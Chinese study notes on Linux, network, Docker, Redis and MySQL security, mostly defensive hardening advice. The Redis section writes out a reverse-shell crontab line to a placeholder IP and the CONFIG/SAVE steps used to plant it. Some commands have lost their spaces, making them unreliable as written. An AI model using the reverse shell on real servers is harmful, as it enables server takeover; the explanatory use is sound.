安全攻防笔记(三)：系统和应用安全

一、Linux系统安全

Linux 中的安全模型：

在 Linux 中，用户层的所有操作，都可以抽象为“主体->请求->客体”这么一个流程。在这个过程中，Linux内核安全提供了基于权限的访问控制，确保数据不被其他操作获取。

黄金法则在 Linux 系统中的应用：

Linux 系统安全防护的核心是正确配置用户层权限。

1. Linux 中的认证机制

Linux 系统是一个支持多用户的操作系统，它通过普通的文本文件来保存和管理用户信息。这其中，有2个比较关键的文件：/etc/passwd和/etc/shadow。我们知道，在Linux中，/etc/passwd是全局可读的，不具备保密性。因此，/etc/passwd不会直接存储密码，而是用来进行占位。那实际的用户密码信息，就会存储到仅ROOT可读的/etc/shadow中。在/etc/shadow中，也保存了诸如密码有效天数、失效多少天告警之类的密码管理策略。我们可以通过 Chage 命令来对密码管理策略进行修改。

2. Linux 中的授权机制

在 Linux 中，客体只有文件和目录两种，针对这两种类型的客体，Linux 都定义了读、写和执行这三种权限。

权限	文件	目录
读	可以读取文件内容	可以读取目录列表
写	可以修改文件内容	可以修改目录列表(新建、删除或者重命名文件)
执行	可以执行文件	可以进入目录(可以cd到这个目录)

除此之外，Linux 还提供了一些额外的权限标签，来进行更细粒度地权限控制。比如，Linux提供了文件属性的概念，来对文件设置更多的保护。通过chattr +i/etc/passwd可以防止文件被任何用户修改。
Linux 还提供了“粘滞位”的功能，主要用来防止用户随意操作其他用户的文件。比如chmod+t /tmp可以阻止删除/tmp目录下其他用户的文件。
Linux 系统面临的安全威胁其实就是权限问题。要解决权限问题，我们就要实践最小权限原则。
一个 Linux 系统安全中最普遍的问题：通过 sudo 来临时提升至 ROOT 权限，在 ROOT 的 Shell 环境中，启动的所有进程也都具备 ROOT权限。
比如，当你以 ROOT 的身份启动 Redis或者MySQL等存储工具时，如果这时有其他用户连入Redis或者MySQL，那他们也能间接地获取ROOT的权限。在大部分服务器入侵的场景中，黑客都是通过这些具备ROOT权限的进程漏洞，来实现权限提升的。因此，在运行任何长驻进程时，我们都需要谨记“最小权限”原则。
nobody 通常拥有整个操作系统中最小的权限， 任何人进入 Linux 系统首先获得的用户身份就是 nobody，然后再从 nobody 进行登录，切换到其他正常用户身份上。例如：以 nobody 的身份执行redis-server
su -s /bin/redis-server nobody

3. Linux 中的审计机制

在 Linux 系统中，系统的日志信息通常存储在/var/log目录下，部分应用程序也会把相关日志记录到这个目录中。系统日志主要分为 3 类，用户登录日志、特殊事件日志和进程日志。
用户登录日志主要是/var/log/wtmp和/var/run/utmp，用来保存用户登录相关的信息。用户登录日志本身为二进制文件，我们无法直接通过文本方式查看，但是可以配合who/users/ac/last/lastlog这样的命令来获取。
特殊事件日志主要包括/var/log/secure和/var/log/message。其中，/var/log/secure主要记录认证和授权相关的记录，如果有人试图爆破 SSH，我们就可以从这个日志中观察出来。/var/log/message由syslogd来维护，syslogd这个守护进程提供了一个记录特殊事件和消息的标准机制，其他应用可以通过这个守护进程来报告特殊的事件。
进程日志：当通过 accton 来进行系统进程管理时，会生成记录用户执行命令的 pacct 文件。
默认情况下，Linux 会通过 logrotate对日志执行相应的保留策略（比如日志切割和旧日志删除等）。通过配置/etc/logrotate.conf可以对不同日志的保留策略进行修改。

二、网络安全

内网中的最小权限原则：

在内网中，实现“最小权限原则”的核心在于分区和隔离。

1. 对内网进行水平划分

我们需要依据不同的“身份”来对网络区域进行隔离，而这就需要用到 VLAN 提供的功能了。
连入同一个交换机的所有设备都在同一个网络中，两两之间能够相互访问。为了阻止这些设备相互访问，我们可以在交换机上设定，在不改变物理连接的情况下，通过交换机的控制将这个网络划分为多个不同的子网，也就是 VLAN（Virtual Local Area Network，虚拟局域网）。简单来说，VLAN 就是一个交换机创建出来的多个子网。因为隔离的存在，不同 VLAN 的访问请求，会被交换机阻止。

2. 对内网进行垂直划分

将公司内网整体保护起来，和外网进行隔离。路由器会将连入的所有内网设备打包在一起。所以，对外网来说，内网变成了一个整体，也就无法访问到某个具体的设备了。

有线网络和无线网络安全：

如何保障通道中的数据不被窃取？这涉及认证和加密的手段。
如何保障通道的接收方是可信的？也就是如何避免被“劫持”。

1. 无线网络安全

• 无线网络中的认证和加密
  在无线网中，个人设备是通过射频技术和无线热点进行连接的。射频无法定向接收，因此，数据都是“广播”出去的。也就是说，只要在设备和热点附近，任何人都能接收到无线网络中的数据。
  为了保证无线网络数据的安全性，我们主要的防护手段，就是使用目前最安全的无线网络协议WPA2。
  但是，WAP2 协议只是用来保护无线网络中数据安全性的。它的连入密钥都是共享的，所以不具备严格意义上的认证功能。而公司需要通过认证知道每一个连入内网的设备的归属，来追踪每一个员工的操作。 这就需要对连入的用户实行“强制门户”。就是当你使用公用密钥连入网络之后，还需要你在网页中再次进行认证。比如，在连入机场网络后，还需要你进行手机号验证。具体的原理就是，用户在连入 Wi-Fi 后，路由器会将用户的 HTTP 请求重定向至认证页面。认证成功后，路由器会记录用户的身份和 MAC，后续路由器就可以根据 MAC 来识别用户身份了。
• 劫持
  “劫持”的主要方式是，伪造热点。主要依赖的就是现在设备的自动连网功能。黑客可以利用自动连网的功能发起攻击。黑客只需要伪造出来一个相同的热点 ID，就可以诱导用户的设备连入黑客的热点，从而“劫持”流量。
  避免伪造热点的方法也很简单，就是对办公网络中的未知热点进行扫描。

2. 有线网络安全

区别于无线网络，有线网络不存在认证和加密的问题。这个很好理解，因为有线网是通过网线来进行物理接入的。换一句话说，只要运维人员给服务器插上了网线，就说明运维人员授权这台服务器接入内网了。而且，一根网线只能将一台设备连入网络，不存在网线共享。所以，不需要考虑加密的问题。因此，我们在有线网络中，主要考虑的问题就是“劫持”。
在网络协议中，目标地址主要通过 MAC 地址和 IP 地址来确定。MAC 地址和 IP 地址分别是基于ARP 协议和DNS 协议来进行寻址的。因为 ARP 和 DNS 都是早期的网络协议，所以安全性较低。因此黑客可以轻易地发出伪造的 ARP 包和 DNS 包，从而“欺骗”目标设备将数据包发送到黑客的设备上，实现流量“劫持”的功能。
如何避免有线网络中的“劫持”呢？有两种方法：

1. 对网络进行更合理地划分，避免黑客进入敏感的内网区域中；
   
2. 在网络中进行定期地检测。为什么要定期地检测呢？这是因为，通过伪造 ARP 和 DNS 包发起的流量“劫持”发生在内网中， 往往不需要通过防火墙等网络设备，所以难以被检测出来。因此，我们需要在网络中进行定期地检测，发掘异常的请求路径（如某个服务器将请求发送到了未知的设备），尽早发现“劫持”行为。

DDoS 攻击（Distributed Denial Of Service Attack，分布式拒绝服务攻击）：

DoS 攻击主要有两种类型。

1. 通过漏洞进行攻击，使得服务或设备因为程序报错而宕机。比如针对 ICMP 协议的“死亡之 PING”，就是因为旧版本的 Windows 系统在处理超长的 ICMP 包时会报错死机。
2. 通过巨量的垃圾流量挤占网络带宽，使得网络设备无法接收或者发送合法的流量。
   但是，黑客如果直接对目标网络发起 DoS 攻击，很容易就会被溯源出来。所以，黑客会通过大量的“肉鸡”（被黑客远程控制的机器）来向目标网络发起请求，隐藏自己的真实地址。这个过程就是 DDoS。
   

目前来说，DDoS 基本是不可防的。因为只要你的应用还在正常地提供服务，那就需要接收外网的请求，因此没办法直接拒绝黑客向你发起的请求。哪怕你能够识别出这些恶意的请求，并且拒绝响应，这也只能避免 CPU 被耗尽，而带宽的资源还是会被占用。所以，各类云服务厂商提供的 DDoS 解决方案，基本都是依靠带宽扩容来进行保障的。比如，阿里云可能会卖给你一个 40G 的防 DDoS 服务。只要 DDoS 的流量小于 40G，阿里云就会保障你服务的可用性。一旦超过，就会直接关停你的服务，避免资源浪费。

三、Docker安全

Docker 服务安全

Docker 服务本身需要关注的安全性就是：隔离。如果黑客在控制了容器之后，能够成功对宿主机产生影响，就说明黑客突破了 Docker 服务的隔离保护，也就是我们所说的 “Docker 逃逸”。那么，Docker 服务是如何对容器进行隔离，来防止“Docker 逃逸”的呢？

接下来，我就介绍一下这 3 个关键的隔离机制：Namespace 机制、Capabilities 机制和 CGroups 机制。

Namespace 机制

我们重点解释一下“轻量化”和“隔离”这两个词。首先是轻量化。我们可以对比虚拟机来进行理解。虚拟机是自己创造了一个虚拟内核，让这个虚拟内核去和虚拟机的进程进行沟通，然后虚拟内核再和真实的 Linux 内核进行沟通。而 Docker提供的容器，简化了这个沟通过程，让 Docker 中的进程直接和 Linux 内核进行沟通。 第二个词是隔离。也就是说，Docker 提供的容器环境是和 Linux 内核隔离的。想要实现这种隔离，就需要用到 Namespace 机制了。Namespace 是 Linux 提供的一种标签机制，Linux 内核会对不同 Namespace 之间的进程做隔离，避免不同的进程之间互相产生影响。所以，Docker 服务会为每一个 Docker 容器创建一个单独的 Namespace 空间。 这样一来，不同容器之间、容器和系统之间，都是不同的 Namespace，也就实现了隔离。

这种基于 Namespace 的隔离我一般叫它 “伪隔离”。因为通过 Namespace 进行的隔离并不彻底。Docker 容器在隔离的环境中，仍然需要使用一些底层的 Linux 进程和设备支持。比如，你在 Docker 容器中仍然需要使用鼠标、键盘等输入输出设备，那么容器就必须挂载 Linux 系统中的 /sys 来获得对应的驱动和配置信息。也就是说，你在 Docker 中看到的 /sys 目录，实际就是 Linux 系统中的 /sys 目录。类似的，还有一些没有被 Namespace 隔离开的目录和模块，包括以下这些内容：

• 部分的进程目录 /proc/...
  
• 内存映像 /dev/mem
  
• 系统设备 /dev/sd*
  
• Linux 内核模块

换一句话说，因为容器和宿主机需要共同使用一些服务（比如容器和宿主机使用的是同一个鼠标），所以上面的这些目录和模块，对于容器和宿主机来说，其实是共享的。从理论上来说，如果你在 Docker 容器中修改了这些目录，那么宿主机当中也会同步相应的修改结果。

Capabilities 机制

Namespace 的伪隔离机制让容器和宿主机共享部分目录。那么，这是不是也意味着，Docker 容器可以通过这些目录来影响宿主机，从而实现“Docker 逃逸”呢？为了避免这种情况，Docker 服务使用了 Capabilities 机制，来限制容器的操作。

capabilities 提供了更细粒度的授权机制，它定义了主体能够进行的某一类操作。比如，一个 Web 服务需要绑定 80 端口，但 80 端口的绑定是需要 ROOT 权限的。为了防止 ROOT权限滥用，Docker 会通过 Capabilities，给予这个 Web 服务 net_bind_service 这个权限（允许绑定到小于 1024 的端口）。同样地，Docker 对容器的 ROOT 也加了很多默认的限制，比如：

• 拒绝所有的挂载操作；
• 拒绝部分文件的操作，比如修改文件所有者；
• 拒绝内核模块加载。

这里有一点需要你注意，Capabilities 对容器可进行操作的限制程度很难把控。这是因为，过松会导致 Docker 容器影响宿主机系统，让 Docker 隔离失效；过严会让容器和容器内的服务功能受限，无法正常运行。所以，在默认情况下，Docker 会采用白名单机制（白名单列表你可以在 Docker 源码中查看）进行限制，即只允许 Docker 容器拥有几个默认的能力。那有了白名单限制，即使黑客成功拿到了容器中的 ROOT 权限，能够造成的影响也相对较小。所以我们常说，“Docker逃逸”是一件不容易的事情。

CGroups 机制

作为一个容器，Docker 显然不能过多地占用宿主机资源，不然对宿主机和自身的可用性都会产生影响。

Docker 服务可以利用 CGroups 机制来实现对容器中内存、CPU 和 IO 等的限制。比如，通过下面的命令，我们就可以限制 Docker 容器只使用 2 个 CPU 和 100MB 的内存来运行了。

docker run -it --cpus=2 --memory="100m" ubuntu:latest/bin/bash

所以，当一个宿主机中运行了多个 Docker 容器的时候，我们可以通过 CGroups，给每一个容器弹性地分配 CPU 资源。同样地，这个限制既不能过松，过松会导致某一个 Docker容器耗尽宿主机资源，也不能过严，过严会使得容器内的服务得不到足够的资源支持。这都需要我们自己经过慎重考量来进行配置，没有默认的安全机制可以辅助我们。现在，你应该已经了解 Docker 服务中的 3 个主要机制了。这里，我把这 3 个主要机制的特点总结成了一张表格，帮助你加深理解。

Docker 守护进程

想要运行 Docker 镜像，就必须先启动 Docker 的 Daemon 守护进程。而启动这个守护进程需要 ROOT 权限。因此，守护进程本身如果出现漏洞，就会给黑客提供一个权限提升的入口。

首先，作为守护进程，Daemon 具备操控 Docker 容器的全部权限。这也就意味着，黑客可以任意地上线和下线容器、运行黑客自己的镜像、篡改已有镜像的配置等。详细解释一下。黑客通过守护进程，可以将宿主机的根目录共享到镜像中，这样一来，镜像就可以对宿主机的目录进行任意地修改了。另外，除了影响正常的线上容器，黑客还能够通过简单的 docker exec 命令获取容器环境中的 Shell，从而执行任意命令了。

那么，黑客怎么才能控制 Daemon 守护进程呢？最简单的方法当然是直接进入宿主机，通过 Docker 命令进行交互。

守护进程提供的 API 接口，是为了方便用户去做一些自动化的工具，来操控 Docker 容器。而在默认情况下，这个 API 接口不需要进行认证。你可以尝试探测一下，你的公司内外网中，是否存在开放的 2375 端口（守护进程 API 默认监听的端口）。如果存在的话，那么你基本上就能够控制这台服务器的 Docker 守护进程了。

为了避免这种无认证的情况发生，Docker 提供了证书的方式来进行认证。开启 API 接口的命令如下所示：

dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376

通过以上命令，我们就能够在宿主机开启远程 API 接口。在客户端中，只需要提供相应的证书信息，就能够完成经过认证的 API 接口调用了。

curl https://127.0.0.1:2376/images/json --cert cert.pem --key key.pem --cacert ca.pem

那通过这样的配置，我们就能解决了 API 接口的认证问题，也就提升了 Docker 守护进程的安全性。

Docker 镜像安全

了解了 Docker 守护进程的安全风险和防护方法之后，我们再来看一下 Docker 镜像的安全。

对于 Docker 镜像来说，它本身就是一个模拟的操作系统，自然也会存在操作系统中的各类安全威胁和漏洞。但是，由于一个 Docker 镜像，一般只会运行某一种服务，也就相当于一个操作系统中只有一个用户。因此，Docker 镜像面临的安全威胁也会小很多。

使用最精简的镜像

我们知道，Docker 镜像是通过 Dockerfile 来构建的。而 Dockerfile 构建的第一句是 FROM ***。以 Node.js 的环境为例，你的基础镜像可能是 node，那么 Dockerfile 的第一行应该是 FROM node。

FROM node
COPY ../
EXPOSE 8080
CMD [“node”,“index.js”]

这个基础的 node 镜像实际包含了一个完整的操作系统，但是，在实际应用中，有大部分的系统功能，我们是用不到的。而这些用不到的系统功能，却正好为黑客提供了可乘之机。

Snyk 在 2019 年的 Docker 漏洞统计报告称，最热门的 10 个 Docker 基础镜像，包含的已知系统漏洞，最少的有 30 个，最多的有 580 个。

这是非常惊人的。通过一句简单的 FROM node，就能让你的 Docker 镜像中引入 580 个系统漏洞。那我们该如何避免引入漏洞呢？这个时候，我们就需要使用精简版的基础镜像了。一般来说，精简版的 Docker 镜像标签都会带有 slim 或者 alpine。

Docker 中的最小权限原则

除此之外，我们在 Linux 操作系统中提到的最小权限原则，在 Docker 镜像中同样适用。这是因为，在默认情况下，容器内的进程是都以 ROOT 权限启动的。而 Docker 又是伪隔离，所以，容器就和宿主机拥有一致的 ROOT 权限了。虽然 Docker 通过 Capabilities，对容器内的 ROOT 能力进行了限制。但是，使用 ROOT 权限去运行一个普通的服务很不合适。为此，我们可以通过 USER 关键词，来使用一个低权限的用户运行服务。

以 Node.js 为例，在 node 的基础镜像中，默认创建了 node 这么一个具备较小权限的用户。因此，我们可以在 Dockerfile 中，加入一行 USER node 来使用这个最小权限用户。

FROM node:10-alpine
...
USER node 
CMD[“node”,“index.js”]

当然，如果有的基础镜像本身不提供额外的用户，你就需要自己创建一个了。以 ubuntu为例，我们可以通过 groupadd 和 useradd，创建一个 node 用户，这个用户没有密码、没有 home 目录、也没有 shell，就是一个最小权限用户。Dockerfile 的内容如下：

FROM ubuntu
RUN groupadd-rnode&&useradd-r-s/bin/false-gnodenode
...
USER node
CMD node index.js

四、Docker安全

Redis 安全

那在安全性不高的情况下，黑客连入 Redis 能做什么呢？最直接的，黑客能够任意修改Redis 中的数据。比如，通过一个简单 FLUSHALL 命令，黑客就能够清空整个 Redis 的数据了。

复杂一些的，黑客还可以发起权限提升，通过 Redis 在服务器上执行命令，从而控制整个服务器。但是，Redis 本身不提供执行命令的功能，

黑客连入 Redis。黑客写入一个任意的 Key，对应的 Value 是想要执行的命令，并按照 Crontab 的格式进行拼接。代码如下：

*/1****/bin/bash-i>&/dev/tcp/1.2.3.4/80800>&1

黑客调用 config_set 方法，就是通过 Redis 的 CONFIG 命令，将 Redis 数据持久化的目录修改成 /var/spool/cron。黑客调用 save 方法，通过 Redis 的 SAVE 命令，发起 Redis 的数据持久化功能。最终，Redis 将数据写入到 /var/spool/cron 中。

那么，我们该如何对 Redis 进行安全防护呢？这里就需要提到我们前面讲过的 “黄金法则”和“最小权限原则” 了。

首先，从认证上来说，Redis 提供了最简单的密码认证功能。在 Redis 的配置文件中，只要增加一行 requirepass 123456，我们就能够为 Redis 设置一个密码了。但是，这里有两点需要你注意。

• Redis 的性能很高，理论上黑客能够以每秒几十万次的速度来暴力猜测密码。因此，你必须设置一个足够强的密码。
• Redis 是为了高性能而设计的。之所以 Redis 默认不配置密码，就是因为密码会影响性能。加上密码之后，Redis 的整体性能会下降 20% 左右。

其次是进行授权。尽管 Redis 本身不提供授权机制，但是我们仍然可以通过“重命名”来间接地实现授权功能。我们可以在 Redis 的配置文件中加入 rename-command CONFIGpUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho，

最后，我们还要避免使用 ROOT 权限去启动 Redis，这就需要用到“最小权限原则”了。在前面命令执行的例子中，黑客是通过 Redis 的保存功能，将命令“写入 Crontab”来实现的命令执行功能。而“写入 Crontab”这个操作，其实是需要 ROOT 权限的。因此，我们以一个低权限的用户（比如 nobody）身份来启动 Redis。

MySQL 安全

因为 MySQL 的功能十分强大，自身就提供了和本地文件交互的功能。所以，通过 LOADDATA INFILE，MySQL 可以读取服务器的本地文件；通过 SELECT ... INTO DUMPFILE，MySQL 也能够将数据写入到本地文件中。因此，在黑客连入 MySQL 之后，通过读文件的功能，黑客就能够对服务器的任意文件进行读取，比如敏感的 /etc/passwd 或者应用的源代码等；通过写文件的功能，则可以仿照 Redis 修改 Crontab 的原理，实现命令执行的功能。

那么，MySQL 在黄金法则和加密上，分别提供了哪些功能呢？

MySQL 提供了多用户的认证体系，它将用户的相关信息（认证信息、权限信息）都存储在了 mysql.user 这个系统表中。利用这个系统表，MySQL 可以通过增删改查操作，来定义和管理用户的认证信息、权限列表等。

除此之外，在认证上，MySQL 还提供了比较完善的密码管理功能，它们分别是：

• 密码过期，强制用户定期修改密码；
• 密码重用限制，避免用户使用旧的密码；
• 密码强度评估，强制用户使用强密码；
• 密码失败保护，当用户出现太多密码错误的尝试后锁定账户。

GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"

我们通过修改权限的 GRANT 命令来具体分析一下，MySQL 授权机制中的主体、客体和请求。

• 主体（user@“127.0.0.1” IDENTIFIED BY “password”）：MySQL 的主体是通过用户名、IP 和密码这三个信息组合起来进行标记的。
• 客体（db.table）：MySQL 的客体是数据库和表。
• 请求（ALL PRIVILEGES）：MySQL 将请求的类型定义成了特权（PRIVILEGES）。常见的特权有 INSERT、DELETE 等增删改查操作。

除此之外，MySQL 也定义了 ROLE 的概念，你可以基于这个功能，去实现 role-BAC 机制。虽然和 Redis 一样，MySQL 本身也不提供审计功能。但是，MySQL 可以通过第三方插件，来提供审计的服务。比如 McAfee 提供的mysql-audit以及MariaDB AuditPlugin。这些插件能够自动收集必要的 MySQL 操作信息，并推送到你的 ELK 等日志集群中，方便你进行持续的审计操作。

在加密方面，MySQL 既提供传输过程中 SSL（Security Socket Layer）加密，也提供存储过程中硬盘加密。我们首先来看 MySQL 的 SSL 加密功能。开启 SSL 功能，需要在配置文件中配置如下命令：

[mysqld]
ssl-ca=ca.pem
ssl-cert=server-cert.pem
ssl-key=server-key.pem

但是，这些配置并不能强制客户端使用 SSL 连接。想要杜绝全部非安全连接的话，我们可以在配置文件中添加 require_secure_transport=ON，来进行强制限制。

接着，我们来看，MySQL 中提供的硬盘加密功能。硬盘加密过程主要涉及两个密钥，一个主密钥和一个表密钥。表密钥由 MySQL 随机生成，通过主密钥进行加密后，存储在表头信息中。因此，每一个表格都拥有不同的密钥。

MySQL 的加密功能是由 keyring_file 这个插件来提供的。需要注意的是，当 keyring_file第一次启动的时候，它会生成一个主密钥文件在当前的系统中。你一定要备份这个密钥文件，因为它一旦丢失，数据库中的全部数据，都将因为无法解密而丢失。

现在，你应该了解了，MySQL 在黄金法则上都提供了哪些功能。接下来，我们再来看“最小权限原则”。

和 Redis 一样，MySQL 也需要避免以 ROOT 权限启动。不一样的是，MySQL 默认提供了这样的能力，当我们在 Linux 中通过 mysqld 来启动 MySQL 进程的时候，mysqld 会自动的创建一个具备最小权限的 mysql 用户，并赋予这个用户对应日志文件的权限，保证MySQL 拥有必要的最小权限。

总之，MySQL 是一个非常成熟的数据库工具，它提供了完整的安全功能。通过对认证、授权、审计和加密功能的正确配置，你就能够迅速提升 MySQL 的整体安全性。